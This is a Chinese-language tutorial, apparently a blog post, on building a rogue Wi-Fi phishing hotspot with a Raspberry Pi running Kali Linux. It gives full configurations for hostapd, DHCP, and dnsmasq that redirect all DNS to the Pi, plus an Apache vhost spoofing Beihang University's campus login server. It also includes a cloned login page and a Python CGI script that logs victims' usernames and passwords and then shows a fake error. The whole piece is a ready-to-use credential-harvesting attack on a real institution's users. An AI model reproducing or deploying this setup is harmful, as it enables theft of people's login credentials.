樹莓派2+無線網卡=釣魚熱點

0x1 關於樹莓派

  The Raspberry Pi is a tiny and affordable computer that you can use to learn programming through fun, practical projects.javascript

  樹莓派是一個小型的並且很便宜的($35)電腦,在這個電腦上你能夠經過有趣的實用的項目學習編程。html

  樹莓派2 Model B長這樣:java

  

  具體介紹戳官網:Raspberry Pi - Teach, Learn, and Make with Raspberry Pipython

0x2 關於系統

  樹莓派官方出的系統是Raspbian,基於Debian並根據樹莓派的硬件進行了優化:linux

  Raspbian is a free operating system based on Debian optimized for the Raspberry Pi hardware. git

  具體介紹戳官網:Raspbian: FrontPageapache

  固然其餘的操做系統,如Ubuntu、Fedora都有針對樹莓派的版本。我選的系統是Kali Linux,選它的緣由請參考標題。編程

  Kali官方有針對樹莓派2的版本,具體安裝教程戳官網:Kali Linux – Raspberry Pi | Kali Linux瀏覽器

0x3 關於無線網卡和Micro SD卡

  我選的無線網卡是 EDUP EP-N8508GS黃金版 迷你USB無線網卡 樹莓派專用,芯片是rtl8188cus,免驅即插即用。bash

  選擇無線網卡的時候請參考官網:RPi USB Wi-Fi Adapters

  我選的Micro SD卡是 閃迪(SanDisk)32GB UHS-I 至尊高速移動MicroSDHC-TF存儲卡(讀速48Mb/s)

  選擇Micro SD卡的時候請參考官網:RPi SD cards

0x4 安裝和配置相關軟件

  假設已經按照教程安裝好了系統,也插上無線網卡了,接下來就是安裝必要的軟件。

  鏈接樹莓派的方式有經過顯示器(須要HDMI轉接頭)、SSH登陸、VNC鏈接等,由於Kali開機自動啓動SSH Server,因此只要知道樹莓派的IP地址,用SSH連過去就好了,Kali的默認用戶名是root,登陸密碼是toor。

  代碼前有#的表示在bash下以root身份運行的代碼,沒有的表示修改的文件內容。

0x40 修改更新源,在/etc/apt/sources.list中添加:

deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free
deb http://mirrors.aliyun.com/kali kali main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free

  而後進行更新,apt-get update && apt-get upgrade

0x41 根分區擴充

  下面連接中的文件可能有更新,請根據須要進入對應目錄選擇版本

# wget http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config_20150131-1_all.deb
# wget http://http.us.debian.org/debian/pool/main/t/triggerhappy/triggerhappy_0.3.4-2_armhf.deb
# wget http://http.us.debian.org/debian/pool/main/l/lua5.1/lua5.1_5.1.5-7.1_armhf.deb
# dpkg -i triggerhappy_0.3.4-2_armhf.deb
# dpkg -i lua5.1_5.1.5-7.1_armhf.deb
# dpkg -i raspi-config_20150131-1_all.deb

  而後使用raspi-config命令進入系統設置,選擇第一項Expand Filesystem擴充,固然系統設置中還有其餘設置,根據須要進行設置便可。用df -lh檢查文件系統大小,根分區是否爲SD卡大小

0x42 安裝和配置hostapd

  hostapd的做用是提供無線共享,即配置併成功運行hostapd後,可以搜索到熱點

# apt-get install hostapd

    因爲無線網卡支持的問題,系統安裝的hostapd不支持rtl8188cus芯片,須要將hostapd替換爲兼容版本:

# wget http://www.daveconroy.com/wp3/wp-content/uploads/2013/07/hostapd.zip
# unzip hostapd.zip 
# sudo mv /usr/sbin/hostapd /usr/sbin/hostapd.bak
# sudo mv hostapd /usr/sbin/hostapd.cat
# sudo ln -sf /usr/sbin/hostapd.cat /usr/sbin/hostapd  
# sudo chmod 755 /usr/sbin/hostapd

  修改(沒有的話新建)/etc/hostapd/hostapd.conf:

interface=wlan0            
ctrl_interface=wlan0
ctrl_interface_group=0
ssid=BUAA-WIFI                # 僞熱點名,例如個人是校園網的WIFI熱點名            
channel=2                  
macaddr_acl=0              
ignore_broadcast_ssid=0    
driver=rtl871xdrv         
hw_mode=g                        
wmm_enabled=1

  由於是用來釣魚的僞熱點,因此不設置熱點密碼

  修改/etc/default/hostapd,去掉DAEMON_CONF前的註釋符號並修改成咱們的配置文件路徑:

DAEMON_CONF="/etc/hostapd/hostapd.conf"

  啓動hostapd:

# service hostapd start

0x43 安裝和配置isc-dhcp-server

    isc-dhcp-server提供的是爲接進熱點的設備分配IP

# apt-get install isc-dhcp-server

  修改/etc/dhcp/dhcpd.conf:

ddns-update-style none;
default-lease-time 600;
max-lease-time 7200;
authoritative;
log-facility local7;
subnet 192.168.126.112 netmask 255.255.255.240 {    # 建立一個子網
  range 192.168.126.113 192.168.126.125;            # 分配的IP範圍
  option domain-name-servers 192.168.126.126;       # 使用本機的DNS服務器
  option domain-name "rpi";    
  option routers 192.168.126.126;                   # 網關爲本機
  option broadcast-address 192.168.126.127;         # 廣播地址
}

  修改/etc/default/isc-dhcp-server:

DHCPD_CONF="/etc/dhcp/dhcpd.conf"
INTERFACES="wlan0"

  啓動isc-dhcp-server:

# service isc-dhcp-server start

0x44 安裝和配置dnsmasq

  dnsmasq提供的是爲接進熱點的設備進行流量引導,Kali中已經安裝好dnsmasq了

  修改(沒有的話新建)/etc/dnsmasq.conf:

interface=wlan0
bind-interfaces
address=/#/192.168.126.126        # 將對全部網站的訪問重定向到本機

  啓動dnsmasq:

# dnsmasq

0x45 添加iptables規則

  修改/etc/sysctl.conf:

net.ipv4.ip_forward=1

  修改/proc/sys/net/ipv4/ip_forward爲1

  添加轉發規則:

# sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT

  而後用iptables -t nat -S和iptables -S檢查是否添加成功

  爲了讓上面的規則在開始時自動添加,執行:

# sh -c "iptables-save > /etc/iptables.ipv4.nat"

0x46 設置wlan0的靜態IP

  修改/etc/network/interfaces,添加:

auto wlan0
allow-hotplug wlan0
iface wlan0 inet static
        address 192.168.126.126    # 與以前dhcpd.conf填寫的網關地址相同
        netmask 255.255.255.240    # 與以前dhcpd.conf填寫的子網掩碼相同
up iptables-restore < /etc/iptables.ipv4.nat

0x47 安裝和配置apache2

  apache2提供的是爲將重定向的流量引導到本機服務器運行的網頁中,Kali中已經安裝好apache2了

  修改/etc/apache2/sites-available/default,在合適的標籤下添加:

<VirtualHost *:80>
    ...
    ServerName gw.buaa.edu.cn             # 僞造服務器名
    DirectoryIndex gw.buaa.edu.cn.html    # 將默認界面改成釣魚網站頁面
    ...
    <Directory "/usr/lib/cgi-bin">
        AddHandler cgi-script .py         # 添加對.py的支持
...

  啓動apache2:

# service apache2 start

 0x48 編寫釣魚網站

  我要釣魚的是學校的校園網登陸網站,因此copy校園網登陸的界面,修改裏面的表單提交action,提交到本機服務的後臺,例如個人釣魚網站/var/www/gw.buaa.edu.cn.html:

...
<script type="text/javascript">
    function login() {
        var errorMsg = [];
        var username = $("input[name='username']").val();
        var password = $("input[name='password']").val();
        if(username == '' || username == '用戶名*') {
             errorMsg.push('請輸入用戶名.');
             $('#txtuser').focus();
        }
        if (password == '' || password == '密碼*') {
            errorMsg.push('請輸入密碼.');
            $('#txtPwd').focus();
        }
        if (errorMsg != "") {
            if (errorMsg.length > 0) {
                $('#divloginError').html('').html($('<ul/>', {
                    html: '<li>' + errorMsg.join('</li><li>') + '</li>'
                })).show();
                $('#dvloginErrorM').show();
                $.mobile.silentScroll(125);
            } else {
                $('#dvloginErrorM').hide();
            }
        } else {
            document.aspnetForm.submit();
        }
    }
</script>
...
<!--表單提交-->
<form name="aspnetForm" method="post" action="/cgi-bin/login.py"...>
<!--用戶提交按鈕-->
    <a href="javascript:login()".../>
</form>

  編寫後臺處理程序,我用的是python的cgi,在/usr/lib/gci-bin下新建login.py:

#!/usr/bin/python
#-*- encoding: utf-8 -*-
import cgi, cgitb
form = cgi.FieldStorage()
username = form.getvalue('username')                # 得到用戶名
password = form.getvalue('password')                # 得到密碼
f = open('/cat/gw.buaa.edu.cn.log', 'a')            # 注意apache是否有所寫文件夾的權限!!
f.write("%s: %s\r\n" % (username, password))        # 將用戶名和密碼寫入文件
f.close()
print "Content-type:text/html\r\n\r\n"              # 而後顯示一個錯誤頁面
print '<html><head>'
print '<title>Error 126</title>'
print '</head><body>'
print '<h1>Error establishing a database connection</h1>'
print '</body></html>'

  將login.py的權限設置爲755,即有運行權限

0x49 將上述配置開機自啓動

# update-rc.d hostapd enable
# update-rc.d isc-dhcp-server enable
# update-rc.d apache2 enable

  對於dnsmasq,須要手動編寫開機啓動腳本,在/etc/init.d/下新建文件dnsmasq:

#!/bin/bash
set -e
case "$1" in
        start)
                dnsmasq&
                ;;
        stop)
                killall -9 dnsmasq
                ;;
        restart)
                killall -9 dnsmasq
                dnsmasq&
                ;;
esac
exit 0

  而後進入/etc/rc3.d/下,執行:

# ln -sf /etc/init.d/dnsmasq S06dnsmasq

  S06表示啓動優先級,數字越大,優先級越低,好比服務A的運行要依賴服務B,那A的數字就應該大於B的

  最後,編輯/etc/rc.local,添加:

service dnsmasq start

0x5 測試運行

  首先鏈接上僞熱點BUAA-WIFI,而後在瀏覽器輸入一個網址,瀏覽器將自動跳轉到校園網登陸界面:

  

  當用戶輸入登陸的用戶名和密碼,點擊登陸後,將跳轉到錯誤頁面,可是用戶名和密碼都已經被後臺服務器記錄到文件中。

相關文章
相關標籤/搜索